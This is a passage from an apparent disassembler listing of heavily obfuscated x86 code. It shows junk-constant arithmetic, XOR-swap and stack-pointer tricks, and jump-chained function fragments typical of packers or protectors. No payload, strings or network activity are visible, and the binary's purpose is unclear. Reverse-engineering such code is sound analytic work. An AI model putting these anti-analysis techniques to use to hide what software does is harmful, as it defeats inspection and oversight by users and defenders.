[esp], edi jmp loc_598305 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_59847F: ; CODE XREF: sub_5941BD-6598j pop edx xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] mov esp, [esp+0] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp+4+var_4], ecx push edx jmp loc_5966EA ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_5984AA: ; CODE XREF: sdfs____:00592E52j add ebp, 6FA565D5h xor ebp, 6C6E91B6h add edx, ebp pop ebp mov edi, edx jmp loc_592121 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5984C0: ; CODE XREF: sub_591370+2204j ; sdfs____:005985DFj neg edx jp loc_59209F push esi mov esi, 8A87D96h shr esi, 4 jmp loc_58D79E ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_5984D6: ; CODE XREF: sdfs____:0058E86Aj add edi, 0FB572A22h sub eax, edi pop edi push ebp jmp loc_591934 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5984E5: ; CODE XREF: sub_591435+3173j xchg esi, [esp+14h+var_14] jmp loc_58F75F ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5984ED: ; CODE XREF: sdfs____:00593AEEj mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], ecx mov ecx, 4 add ebp, 5F71701Ch add ebp, ecx sub ebp, 5F71701Ch push dword ptr [esp] pop ecx add esp, 4 add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] rol word ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594767 loc_598534: ; CODE XREF: sub_594767+14j pop ebx jmp loc_58BB40 ; END OF FUNCTION CHUNK FOR sub_594767 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59853A: ; CODE XREF: sub_591435-1537j jmp loc_590AA7 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_59853F: ; CODE XREF: sub_5962EB-50D8j pop edx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-8+arg_4] pop esp rep movsd jmp loc_592646 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595678 loc_598557: ; CODE XREF: sub_595678+6j add dword ptr [esp+0], 4 jmp loc_5977EC ; END OF FUNCTION CHUNK FOR sub_595678 ; --------------------------------------------------------------------------- loc_598560: ; CODE XREF: sdfs____:0058E6C8j push ecx jmp loc_596276 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_598566: ; CODE XREF: sub_5917C0+23D3j shr edi, 8 neg edi and edi, 3A6266E4h dec edi shl edi, 7 jmp loc_59703B ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_59857A: ; CODE XREF: sub_594228-140j dec esi shl esi, 8 add esi, 84D8D287h or ecx, esi pop esi not ecx push 3B42h mov [esp-0Ah+arg_6], ebp mov ebp, 6F127BA1h add ecx, ebp pop ebp mov edx, ecx mov ecx, [esp-0Eh+arg_A] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-0Ah+arg_6] pop esp ; END OF FUNCTION CHUNK FOR sub_594228 ; =============== S U B R O U T I N E ======================================= sub_5985AE proc near ; CODE XREF: sub_594228-A41j ; sub_594228+2B96j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 0058C2CE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058C84B SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058D0EA SIZE 0000003D BYTES ; FUNCTION CHUNK AT 0058D3EA SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0058DEBE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058E099 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058F1B5 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058F8E4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058FCF4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00590B1C SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00591723 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00591857 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00591A26 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00591B08 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00591B7D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00591CD4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591F03 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00591FE4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059260B SIZE 0000003B BYTES ; FUNCTION CHUNK AT 0059271E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00592A88 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00593344 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005935E5 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00593BB0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00593C2E SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00593E03 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00593E2B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005943F7 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00594CE8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00594E5A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005956AB SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0059595F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00595C01 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00596128 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00596EE2 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0059719A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00597D2C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005981AD SIZE 00000014 BYTES push ebx push edi jmp loc_58E099 sub_5985AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5985B5: ; CODE XREF: sdfs____:0059362Cj or esi, 785F600Eh add esi, 58009C4h add ecx, esi jmp loc_595B03 ; --------------------------------------------------------------------------- loc_5985C8: ; CODE XREF: sdfs____:005982E3j push edx mov edx, 2 jmp loc_590F34 ; --------------------------------------------------------------------------- loc_5985D3: ; CODE XREF: sdfs____:loc_592350j and edx, 23B84581h xor edx, 58381DD2h jb loc_5984C0 neg edx jp loc_595231 push esi mov esi, 8A87D96h shr esi, 4 sub esi, 15022C4Bh or esi, 8653E50h add esi, 3C8554F9h add esi, 5A9B665Fh jmp loc_592A59 ; --------------------------------------------------------------------------- loc_598613: ; CODE XREF: sdfs____:0058EB92j not ebp push edi mov edi, 905309Ah sub edi, 0DD6103E5h jmp loc_58E86F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_598626: ; CODE XREF: sub_5962EB+5AFj push esi jmp loc_58F145 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_59862C: ; CODE XREF: sdfs____:00595904j mov esp, [esp] jmp loc_5937C6 ; --------------------------------------------------------------------------- loc_598634: ; CODE XREF: sdfs____:005932AEj push edi mov edi, esp add edi, 4 push ebp push edx jmp loc_58DF8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_598644: ; CODE XREF: sub_59841F-85E8j pop esp mov [esp+0], esi push 3281h mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop esi add esi, 4 push ecx jmp loc_58F60C ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_598664: ; CODE XREF: sub_591435+4756j bts [esp+0], ax pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592853 loc_59866F: ; CODE XREF: sub_592853+50A9j mov esi, 22720765h sub esi, 0E358FD24h mov ebp, esi jmp loc_597AC9 ; END OF FUNCTION CHUNK FOR sub_592853 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_598681: ; CODE XREF: sub_58BAD7+5356j mov ecx, [esp+8+var_8] add esp, 4 jmp loc_5962E1 ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- loc_59868F: ; CODE XREF: sdfs____:00596B66j push ecx mov ecx, 14DE2096h sub ecx, 7ECF7482h sub esp, 4 mov [esp], ebp mov ebp, 0C45C9D53h xor ecx, ebp pop ebp mov ebx, ecx pop ecx push eax mov eax, 71F23E82h jmp loc_592DD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_5986B7: ; CODE XREF: sub_58CDE6+61EBj mov [esp-4+arg_0], edi push ebx mov ebx, 483C5D96h jmp loc_592241 ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- loc_5986C5: ; CODE XREF: sdfs____:00591741j mov esi, [esp] jmp loc_595763 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_5986CD: ; CODE XREF: sub_59587A-1A7Cj add edi, eax mov eax, [esp+0] add esp, 4 std sub esp, 4 mov [esp+0], edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+2+var_4+2] pop esp mov [esp+0], ebx mov ebx, 410C78B8h jmp sub_5962EB ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5986FF: ; CODE XREF: sub_591435+614Dj add eax, 4 push eax push [esp+8+var_4] jmp loc_598AC2 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_59870C: ; CODE XREF: sdfs____:0058D870j mov ebx, 4CEB35A4h push esi mov esi, 4CEB35A0h sub ebx, esi pop esi add [esp+4], ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_596981 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_59872D: ; CODE XREF: sub_591370+3196j jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_598732: ; CODE XREF: sdfs____:00595E84j push esp pop edx add edx, 4 jmp loc_593F94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_59873F: ; CODE XREF: sub_5917C0+3F19j pop cx add bl, 62h sub bl, dl sub bl, 62h pop edx push ecx mov cl, 0C0h dec cl add cl, 8Eh add bl, cl pop ecx add bl, al jmp loc_5946CE ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_59875C: ; CODE XREF: sub_594228-84B2j add esp, 4 shr ecx, 0Bh push 24CAh mov [esp-0Eh+arg_A], ebp mov ebp, ebx mov eax, ebp push [esp-0Eh+arg_A] pop ebp push ebp jmp sub_595678 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_59877B: ; CODE XREF: sdfs____:00598101j pop esi sub edx, esi mov esi, [esp] add esp, 4 xor edx, [esp] jmp loc_59493F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_59878C: ; CODE XREF: sub_5917C0+3E2Fj mov esi, 2226625Fh sub esi, 30535F84h jnp loc_58D7E2 xor esi, 1C6A70E6h jns loc_591317 not esi push ebx mov ebx, 1 jmp loc_5907B1 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5987B6: ; CODE XREF: sub_591370-366Bj push edi jmp loc_58DE01 ; END OF FUNCTION CHUNK FOR sub_591370 ; =============== S U B R O U T I N E ======================================= sub_5987BC proc near ; CODE XREF: sub_591435-552Dj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0058BF37 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058C075 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058C42F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058C603 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058C744 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058CB72 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058CC74 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058CFC2 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0058D16E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058D26E SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0058D32E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058DC3F SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0058DD57 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058DE3B SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0058E24D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058E4AB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058ECA6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058F217 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058F7EA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00590F8D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005910EA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00591275 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005919FA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591A98 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00591B1B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00592707 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00592938 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00592D9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00593CCC SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005943DC SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005955B1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00595643 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059689F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00597571 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005975AC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059784C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00597AF3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00597CC6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00597D78 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00598254 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0059897C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00598CB3 SIZE 0000000E BYTES push ebp push edi jmp loc_58DE3B sub_5987BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5987C3: ; CODE XREF: sdfs____:0058DBC0j pop eax mov dh, bh pop ebx sub dh, 1Fh jmp loc_594C2E ; --------------------------------------------------------------------------- loc_5987CF: ; CODE XREF: sdfs____:00590C19j add al, dh pop edx jmp loc_59663C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] jmp loc_598340 ; --------------------------------------------------------------------------- loc_5987DF: ; CODE XREF: sdfs____:0058C00Fj push esi push edi jmp loc_59632C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE3C loc_5987E6: ; CODE XREF: sub_58FE3C+480Ej mov dx, [esp+0] push ecx push esp pop ecx push edi jmp loc_5924B5 ; END OF FUNCTION CHUNK FOR sub_58FE3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5987F3: ; CODE XREF: sub_591435-3E0Aj ; sub_59841F-9C66j jo loc_591170 sub esi, 3FF73F73h mov ecx, esi jmp loc_58BD2F ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_598806: ; CODE XREF: sub_59587A-43EEj add ebx, eax push esi jmp loc_593D71 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_59880E: ; CODE XREF: sub_596736-7D22j mov esi, 40h and ecx, esi mov esi, [esp+0] push ebp mov ebp, esp push eax jmp loc_597EE2 ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- loc_598821: ; CODE XREF: sdfs____:0059179Ej xchg ecx, [esp] mov esp, [esp] mov cx, [esp] push ecx push esp pop ecx sub esp, 4 mov [esp], edx mov edx, 6F9F3028h shl edx, 6 push ebp mov ebp, 4DE71624h jmp loc_58F9C3 ; --------------------------------------------------------------------------- loc_59884A: ; CODE XREF: sdfs____:005972C7j add edi, 4 add edi, 4 xchg edi, [esp] pop esp add eax, esi pop esi jmp loc_591DC9 ; --------------------------------------------------------------------------- loc_59885F: ; CODE XREF: sdfs____:0058BF62j jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_598864: ; CODE XREF: sdfs____:005938E4j sub esp, 4 mov [esp], edi mov edi, 11E81101h mov eax, edi jmp loc_58BC80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_598876: ; CODE XREF: sub_5941BD-EB2j pop eax shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_59517B ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_598882: ; CODE XREF: sdfs____:0058D315j add cl, 44h add cl, 7Ah jo loc_58D796 push ebx mov bh, 3Dh jmp loc_58C1D4 ; --------------------------------------------------------------------------- mov bh, 56h loc_598899: ; CODE XREF: sdfs____:00591EC7j add ebp, 4 xchg ebp, [esp] pop esp xchg eax, [esp] pop esp mov [esp], edx push eax push esi mov esi, 2C221FFEh xor [esp+4], esi jmp loc_590E10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E92A loc_5988B7: ; CODE XREF: sub_58E92A+A2B5j push eax push esp pop eax sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 4 add eax, ecx pop ecx push 5CE0h mov [esp+4+var_4], ebx mov ebx, 4 add eax, 452D3B86h add eax, ebx sub eax, 452D3B86h pop ebx jmp loc_593255 ; END OF FUNCTION CHUNK FOR sub_58E92A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5988E7: ; CODE XREF: sub_591435+30F6j xor eax, ebp sub esp, 4 mov [esp+0Ch+var_C], ebp jmp loc_5926E5 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5988F7: ; CODE XREF: sdfs____:0058E493j add ebp, esi pop esi push dword ptr [esp] pop eax add esp, 4 sub ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], cx jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59891C: ; CODE XREF: sub_591435+186Fj push esp pop ebx push edi mov edi, 23A97841h shr edi, 2 sub edi, 1F9E0BA5h not edi dec edi jmp loc_58ED65 ; --------------------------------------------------------------------------- loc_598935: ; CODE XREF: sub_591435+239Dj ; sub_592853+5551j mov [esp+0Ch+var_C], edx mov edx, 572A3DC2h or edx, 37E53F36h jbe loc_591309 sub edx, 0F82EF890h mov [edi+20h], edx jmp loc_5915B1 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_598957: ; CODE XREF: sub_594228-50Cj add esp, 4 jmp loc_595B55 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- lodsb xor al, bl push ebx jmp loc_58DA2F ; --------------------------------------------------------------------------- loc_598968: ; CODE XREF: sdfs____:005923D5j sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_58E604 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_59897C: ; CODE XREF: sub_5987BC-C1AEj inc esi dec esi add esi, 45E310ACh jmp loc_5919FA ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_598989: ; CODE XREF: sub_591370+1A9Aj pop esi xchg ebp, [esp-0Ch+arg_8] pop esp shr eax, 10h xor eax, ecx push eax jmp loc_596405 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_598999: ; CODE XREF: sdfs____:005948AEj mov ebp, 3B6C3246h or ecx, ebp pop ebp jmp loc_5960B3 ; --------------------------------------------------------------------------- loc_5989A6: ; CODE XREF: sdfs____:00591411j add [esp+2], ax pop ax pop small word ptr [esp] push small 7204h mov [esp], bx mov bx, 2 push bx mov bx, 7680h sub [esp+4], bx mov bx, [esp] add esp, 2 sub word ptr [esp+2], 3B59h add [esp+2], bx add word ptr [esp+2], 3B59h add word ptr [esp+2], 7680h mov bx, [esp] add esp, 2 jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_5989F8: ; CODE XREF: sdfs____:0058E2C6j mov [esp], ecx mov ecx, 0FFD207B0h sub ebp, ecx pop ecx add edi, ebp jmp loc_592F98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_598A0A: ; CODE XREF: sub_591370-2630j push eax mov eax, 4 mov ebx, eax pop eax jmp loc_595683 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BC4E loc_598A18: ; CODE XREF: sub_58BC4E+2FF3j xchg eax, [esp+0Ch+var_C] pop esp jmp loc_58F123 ; END OF FUNCTION CHUNK FOR sub_58BC4E ; =============== S U B R O U T I N E ======================================= sub_598A21 proc near ; CODE XREF: sub_596736-449Cj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0058BD05 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058C621 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058D8DD SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058E2AC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058E9A7 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0058F517 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00590598 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00590EE3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00591713 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00591E08 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00593F82 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005949C2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00595862 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00596A33 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005975C3 SIZE 00000007 BYTES push ebp jmp loc_58E2AC sub_598A21 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_598A27: ; CODE XREF: sdfs____:005903EEj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub eax, 200523AAh shl eax, 1 jmp loc_5917A3 ; --------------------------------------------------------------------------- loc_598A43: ; CODE XREF: sdfs____:005916CBj jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_598A48: ; CODE XREF: sub_59841F-B7EAj pop ebp sub ebx, 0A2A587C3h sub eax, ebx pop ebx push eax jmp loc_58BAA9 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_598A58: ; CODE XREF: sdfs____:0058C68Ej ; sdfs____:0058D549j ... neg esi jmp loc_58CA3C ; --------------------------------------------------------------------------- loc_598A5F: ; CODE XREF: sdfs____:00592B49j add edx, 1731108Ah push ebp mov ebp, 4C1E7733h jmp loc_58F168 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_598A70: ; CODE XREF: sub_591370+62CEj mov [esp-14h+arg_10], eax mov eax, 57F6211Fh neg eax push ebp mov ebp, 3D384D56h push 84Ah mov [esp-0Ch+arg_8], ebx mov ebx, 70473548h dec ebx shr ebx, 6 not ebx push esi mov esi, 3F574D88h add ebx, esi jmp loc_5905F0 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_598AA0: ; CODE XREF: sub_5BB696-2B8D8j mov cl, bl push ebx mov bh, cl jmp loc_59132A ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_598AAA: ; CODE XREF: sdfs____:0058F9A8j add ebx, edx pop edx xchg ebx, [esp] jmp loc_58FFDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_598AB5: ; CODE XREF: sub_59587A+D3Dj sub ebp, 0B7C44CC9h mov esi, ebp jmp loc_58D2C6 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_598AC2: ; CODE XREF: sub_591435+72D2j mov eax, [esp+0Ch+var_C] add esp, 4 pop [esp+8+var_8] mov esp, [esp+4+var_4] jmp loc_58DE69 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_598AD3: ; CODE XREF: sdfs____:00591F89j sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx mov ecx, 0B124AB1h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_591344 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_598B07: ; CODE XREF: sub_591435+6E7Bj lodsw xor ax, bx sub esp, 4 mov [esp+10h+var_10], esi jmp loc_593CCC ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_598B17: ; CODE XREF: sub_591370+4A9Bj add eax, edx add dword ptr [eax], 1 pop eax jmp loc_593AC6 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_598B25: ; CODE XREF: sdfs____:00597425j mov [esp], ecx mov ecx, esp push ebx push edx mov edx, 40B67851h jmp loc_595AEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_598B36: ; CODE XREF: sub_5941BD-79E8j sub eax, 300E6FBDh jmp loc_593B75 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_598B40: ; CODE XREF: sub_594228-2FFDj xchg esi, edx not esi xchg esi, edx shl edx, 6 or edx, 660110B6h jmp loc_59093A ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- mov eax, [esp] push esi push 39DDh push esp pop dword ptr [esp] jmp loc_597708 ; --------------------------------------------------------------------------- loc_598B66: ; CODE XREF: sdfs____:005902FAj pop eax push ebp jmp loc_595270 ; --------------------------------------------------------------------------- loc_598B6D: ; CODE XREF: sdfs____:0058FBA4j sub ebx, 2 jmp loc_592F11 ; --------------------------------------------------------------------------- loc_598B78: ; CODE XREF: sdfs____:0058D05Fj mov [esp], eax mov eax, esp jmp loc_591115 ; --------------------------------------------------------------------------- loc_598B82: ; CODE XREF: sdfs____:0059225Dj push eax jmp loc_595709 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_598B88: ; CODE XREF: sub_5962EB-6CB9j push edx mov edx, 78BC7A31h mov edi, 2AA315h add edi, edx pop edx jmp loc_590EEA ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_598B9B: ; CODE XREF: sdfs____:0058D47Aj pop ebx add edi, 4 jmp loc_58D064 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_598BA4: ; CODE XREF: sub_5941BD+FE3j mov ebx, esp jmp loc_597466 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_598BAB: ; CODE XREF: sub_594228-4ECCj add ecx, esi pop esi jmp loc_58EEEC ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_598BB3: ; CODE XREF: sdfs____:00590479j jmp loc_59326F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E92A loc_598BB8: ; CODE XREF: sub_58E92A-2D30j ; sdfs____:00590362j push edi mov edi, esp add edi, 4 add edi, 2 xchg edi, [esp+4+var_4] pop esp movzx eax, al push dword ptr [edi+eax*4] push ebx mov ebx, 3376EA9h sub [esp+8+var_4], ebx pop ebx mov eax, [esp+4+var_4] jmp loc_5988B7 ; END OF FUNCTION CHUNK FOR sub_58E92A ; 